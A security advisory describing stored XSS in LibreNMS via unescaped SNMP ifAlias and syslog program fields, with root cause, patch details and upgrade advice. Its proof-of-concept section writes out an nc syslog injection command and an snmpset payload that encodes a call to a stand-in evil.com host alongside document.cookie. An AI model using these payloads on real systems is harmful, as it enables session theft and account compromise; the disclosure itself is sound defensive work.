LibreNMS Stored XSS via Unescaped SNMP and Syslog Data in Legacy Templates
An attacker who controls a monitored network device can inject JavaScript into LibreNMS by setting a malicious SNMP interface description or syslog program name, which then executes in every…

The problem
Multiple legacy PHP template files in LibreNMS echo SNMP-polled and syslog-sourced values directly into HTML with no output escaping. Affected fields include ifAlias, mempool_descr, storage_descr, sensor_descr, bgpPeerDescr, service_desc, and the syslog program field.
The syslog program field is the clearest case: msg right next to it is correctly wrapped in htmlspecialchars(), but program is not. The SNMP ifAlias path is the highest-impact vector because it renders on the main alerts page for every port-related alert, hitting all authenticated users at once.
Proof of concept
A working proof-of-concept for this issue in librenms/librenms, with the exact payload below.
# Vector 1: Syslog (simplest, no prior device access needed)
# Send a syslog UDP packet with XSS in the program field.
# Replace 10.0.0.1 with your LibreNMS syslog receiver address.
echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514
# Vector 2: SNMP ifAlias (highest impact, triggers on every port alert)
# On an attacker-controlled device, set the interface description via SNMP:
snmpset -v2c -c private <device-ip> IF-MIB::ifAlias.1 s '<img src=x onerror="fetch(atob(\"aHR0cHM6Ly9ldmlsLmNvbS8=\"))+document.cookie">'The root cause is a classic CWE-79 failure in legacy PHP includes: data received from the network (via SNMP poll or syslog UDP) is written to the database without sanitization, then rendered into HTML without htmlspecialchars(). The patch (PR #19660, commit 6782af9) wraps each affected field in htmlspecialchars() or e() (Laravel's escape helper), mirroring how the adjacent msg field was already handled.
The inconsistency is particularly telling in print-syslog.inc.php: msg was escaped but program was not, in the same string concatenation. The fix is mechanical but the blast radius is wide because the same unescaped fields surface across six different template files.
The fix
Upgrade to LibreNMS 26.5.0 or later. The fix is in PR #19660 (commit 6782af940c3c495755923b520a302f3a1cb1ce6b): every affected legacy template now wraps SNMP-sourced and syslog-sourced fields in htmlspecialchars() before output. No configuration workaround exists for older versions because the data is stored raw in the database and the escaping must happen at render time.
Reported by laf (LibreNMS maintainer).
Related research
- high · 8.1LibreNMS SSRF-Driven Stored XSS via Oxidized API Response Fields
- high · 8.2CVE-2026-63135CVE-2026-63135: YOURLS Stored XSS via Crafted Referer Header in Statistics Chart
- high · 8.7CVE-2026-54347CVE-2026-54347: Froxlor Stored XSS in DNS TXT Record Leads to Admin Account Takeover
- high · 8.1CVE-2026-32257CVE-2026-32257: Winter CMS Stored XSS via Backend Brand Settings Custom Styles